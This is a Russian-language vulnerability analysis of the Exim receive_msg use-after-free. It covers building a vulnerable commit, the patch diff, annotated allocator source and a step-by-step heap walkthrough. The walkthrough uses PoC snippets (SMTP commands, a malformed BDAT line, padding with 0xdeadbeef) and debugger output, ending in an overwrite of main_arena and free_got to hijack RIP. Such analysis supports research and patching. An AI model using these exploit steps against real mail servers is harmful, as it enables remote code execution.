
git clone https://github.com/Exim/exim.git
git checkout 01c594601670c7e48e676d6c6d32d0f0084067fa
cd ./exim/src
mkdir Local
wget "https://bugs.exim.org/attachment.cgi?id=1051" -O Makefile
Измените переменные пути и имя пользователя в Makefile
cd ..
make -j8
sudo make install
После установки измените accept hosts = : на accept hosts = * в файле configure.
Запуск:
exim -bdf -d-receive
Эта уязвимость — UAF (использование после освобождения), она находится в функции receive_msg в файле receive.c, которая принимает ввод от клиента. Посмотрите запись патча:
src/src/receive.c | 7 ++++---
1 file changed, 4 insertions(+), 3 deletions(-)
diff --git a/src/src/receive.c b/src/src/receive.c
index e7e518a..d9b5001 100644
--- a/src/src/receive.c
+++ b/src/src/receive.c
@@ -1810,8 +1810,8 @@ for (;;)
(and sometimes lunatic messages can have ones that are 100s of K long) we
call store_release() for strings that have been copied - if the string is at
the start of a block (and therefore the only thing in it, because we aren't
- doing any other gets), the block gets freed. We can only do this because we
- know there are no other calls to store_get() going on. */
+ doing any other gets), the block gets freed. We can only do this release if
+ there were no allocations since the once that we want to free. */
if (ptr >= header_size - 4)
{
@@ -1820,9 +1820,10 @@ for (;;)
header_size *= 2;
if (!store_extend(next->text, oldsize, header_size))
{
+ BOOL release_ok = store_last_get[store_pool] == next->text;
uschar *newtext = store_get(header_size);
memcpy(newtext, next->text, ptr);
- store_release(next->text);
+ if (release_ok) store_release(next->text);
next->text = newtext;
}
}
Сначала поясним назначение нескольких глобальных переменных:
current_block: текущий storeblock, при следующем вызове store_get_3 сначала ищется свободная область в этом storeblock
next_yield: указывает на начальный адрес свободной области в current_block; как правило, верхняя часть storeblock используется, нижняя свободна
yield_length: длина next_yield
Анализ PoC от meh показывает, что непатченная программа может вызвать UAF через следующий процесс компоновки кучи:
Сначала в функции receive_msg делаем так, чтобы next->text стал начальным буфером storeblock:

Затем с помощью команды bdat выделите буфер под этим text.
Почему используется команда bdat?
На самом деле, команды как auth plain или недопустимые команды из непечатных символов также могут выделить буфер под text, но другие инструкции заставят функцию receive_msg завершиться.
После повторного входа в receive_msg next->text будет указывать на другую область, поэтому уязвимость не сработает.
Команда bdat не завершает текущую функцию receive_msg — это очень важно.

Затем непрерывно отправляйте символы, пока next->text не заполнится (изначально 0x100), после чего программа перейдёт к уязвимому месту.
В store_extend обнаруживается, что из-за буфера bdat расширение невозможно, поэтому выполняется store_get, получающий область, на которую указывает next_yield, а затем вызывается store_release.
В этой функции проверяется только, является ли освобождаемый блок началом storeblock, но не проверяется, есть ли за ним другие буферы, поэтому storeblock просто освобождается.
В результате адрес, возвращаемый store_get, всё ещё находится внутри current_block, но сразу после этого current_block освобождается, что приводит к UAF.
Здесь мы шаг за шагом разберём, как перехватить RIP, используя PoC код.
ehlo('test')
r.sendline("MAIL FROM:<test@localhost>")
r.recvline()
r.sendline("RCPT TO:<test@localhost>")
r.recvline()
unrec('a'*0x1100+'\x7f')
Сначала отправьте кучу данных. Цель — сделать yield_length меньше 0x130, но больше 0x30.
Почему это нужно? Посмотрим на начало функции receive_msg:
...
File: receive.c
1700: received_header = header_list = header_last = store_get(sizeof(header_line));
1701: header_list->next = NULL;
1702: header_list->type = htype_old;
1703: header_list->text = NULL;
1704: header_list->slen = 0;
1705:
1706: /* Control block for the next header to be read. */
1707:
1708: next = store_get(sizeof(header_line));
1709: next->text = store_get(header_size);
...
Видно, что перед выделением next->text выделяются два буфера размером sizeof(header_line) (0x18).
Если после выделения этих двух блоков размер yield_length станет меньше 0x100, то при выделении next->text внутри store_get будет выделен новый storeblock, и next->text будет находиться в начале этого storeblock.
Затем вызываем команду bdat:
r.sendline('BDAT 1')
r.sendline(':BDAT \xdd')
Эта команда содержит непечатный символ, что приводит к вызову store_get для выделения буфера под сообщение об ошибке:
pwndbg> hexdump 0x71d0e0
+0000 0x71d0e0 42 44 41 54 20 5c 33 33 35 00 20 63 68 75 6e 6b │BDAT│.\33│5..c│hunk│
+0010 0x71d0f0 35 30 31 20 6d 69 73 73 69 6e 67 20 73 69 7a 65 │501.│miss│ing.│size│
+0020 0x71d100 20 66 6f 72 20 42 44 41 54 20 63 6f 6d 6d 61 6e │.for│.BDA│T.co│mman│
+0030 0x71d110 64 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │d...│....│....│....│
(Даже если недопустимая инструкция содержит непечатные символы, это может привести к дополнительному выделению кучи.)
Теперь непрерывно отправляем символы:
unrec('a'*6 + p64(0xdeadbeef)*(0x1e00/8))
Постепенно байты будут записываться в next->text. Когда свободная область размером 0x100 заполнится, программа дойдёт до уязвимого кода для расширения next->text.
Сначала вызывается store_extend(next->text, oldsize, header_size) для попытки расширения:
File: store.c
266: BOOL
267: store_extend_3(void *ptr, int oldsize, int newsize, const char *filename,
268: int linenumber)
269: {
270: int inc = newsize - oldsize;
271: int rounded_oldsize = oldsize;
272:
273: if (rounded_oldsize % alignment != 0)
274: rounded_oldsize += alignment - (rounded_oldsize % alignment);
275:
276: if (CS ptr + rounded_oldsize != CS (next_yield[store_pool]) ||
277: inc > yield_length[store_pool] + rounded_oldsize - oldsize)
278: return FALSE;
...
Основная проверка в строках 276–277.
Первое условие — находится ли за расширяемым указателем ptr сразу next_yield.
Второе — достаточно ли места с учётом yield_length.
Очевидно, первое условие не выполняется, потому что за next->text идёт буфер bdat, а потом уже next_yield.
Затем вызывается store_get для выделения нового блока, который располагается на next_yield.
После этого вызывается store_release для освобождения исходного next->text. Обратите внимание на логику проверки:
File: store.c
448: void
449: store_release_3(void *block, const char *filename, int linenumber)
450: {
451: storeblock *b;
452:
453: /* It will never be the first block, so no need to check that. */
454:
455: for (b = chainbase[store_pool]; b != NULL; b = b->next)
456: {
457: storeblock *bb = b->next;
458: if (bb != NULL && CS block == CS bb + ALIGNED_SIZEOF_STOREBLOCK)
459: {
...
482: free(bb);
483: return;
484: }
485: }
486: }
487:
Программа проходит по цепочке storeblock, начиная с chainbase, по указателю next, и если освобождаемый блок находится в начале какого-то storeblock (второе условие в строке 455), этот storeblock освобождается.
Но в этот момент current_block указывает на эту кучу, и новый next->text тоже находится внутри этой кучи, поэтому происходит UAF.
После освобождения куча current_block попадает в unsorted bin:
pwndbg> tel ¤t_block
00:0000│ 0x6e8ec0 (current_block) —▸ 0x71cfd0 —▸ 0x7ffff69abb78 (main_arena+88) —▸ 0x725020 ◂— 0x0
01:0008│ 0x6e8ec8 (current_block+8) —▸ 0x723010 ◂— 0x0
02:0010│ 0x6e8ed0 (current_block+16) ◂— 0x0
... ↓
04:0020│ 0x6e8ee0 (chainbase) —▸ 0x70ff80 ◂— 0x0
05:0028│ 0x6e8ee8 (chainbase+8) —▸ 0x6f3b30 —▸ 0x6f8cb0 —▸ 0x71eff0 —▸ 0x723010 ◂— ...
06:0030│ 0x6e8ef0 (chainbase+16) ◂— 0x0
... ↓
pwndbg>
Теперь main_arena добавляется в цепочку storeblock.
По мере поступления символов исходный next->text неоднократно расширяется через store_extend.
Хотя current_block уже освобождён, next_yield по-прежнему указывает внутрь current_block, что позволяет next->text расширяться через store_extend, пока не заполнит весь current_block.
Когда расширение становится невозможным, снова вызывается store_get для получения нового блока:
File: store.c
128: void *
129: store_get_3(int size, const char *filename, int linenumber)
130: {
...
137: if (size % alignment != 0) size += alignment - (size % alignment);
138:
139: /* If there isn't room in the current block, get a new one. The minimum
140: size is STORE_BLOCK_SIZE, and we would expect this to be the norm, since
141: these functions are mostly called for small amounts of store. */
142:
143: if (size > yield_length[store_pool])
144: {
145: int length = (size <= STORE_BLOCK_SIZE)? STORE_BLOCK_SIZE : size;
146: int mlength = length + ALIGNED_SIZEOF_STOREBLOCK;
147: storeblock * newblock = NULL;
148:
149: /* Sometimes store_reset() may leave a block for us; check if we can use it */
150:
151: if ( (newblock = current_block[store_pool])
152: && (newblock = newblock->next)
153: && newblock->length < length
154: )
155: {
156: /* Give up on this block, because it's too small */
157: store_free(newblock);
158: newblock = NULL;
159: }
...
В строках 151–153 программа пытается получить current_block->next и проверяет, достаточно ли он велик. Если нет, он освобождается.
Обратите внимание: current_block сейчас находится в unsorted bin, current_block->next указывает на main_arena, последнее условие не выполняется, поэтому newblock = main_arena.
File: store.c
176: current_block[store_pool] = newblock;
177: yield_length[store_pool] = newblock->length;
178: next_yield[store_pool] =
179: (void *)(CS current_block[store_pool] + ALIGNED_SIZEOF_STOREBLOCK);
180: (void) VALGRIND_MAKE_MEM_NOACCESS(next_yield[store_pool], yield_length[store_pool]);
181: }
...
186: store_last_get[store_pool] = next_yield[store_pool];
...
211: return store_last_get[store_pool];
Программа напрямую возвращает main_arena как новый буфер. Затем в строке 1824 содержимое старого блока копируется в новый, то есть перезаписывается main_arena.
File: receive.c
1816: if (ptr >= header_size - 4)
1817: {
1818: int oldsize = header_size;
1819: /* header_size += 256; */
1820: header_size *= 2;
1821: if (!store_extend(next->text, oldsize, header_size))
1822: {
1823: uschar *newtext = store_get(header_size);
1824: memcpy(newtext, next->text, ptr);
1825: store_release(next->text);
1826: next->text = newtext;
1827: }
1828: }
Эта перезапись напрямую затронет free_got, поэтому последующими простыми действиями можно перехватить RIP.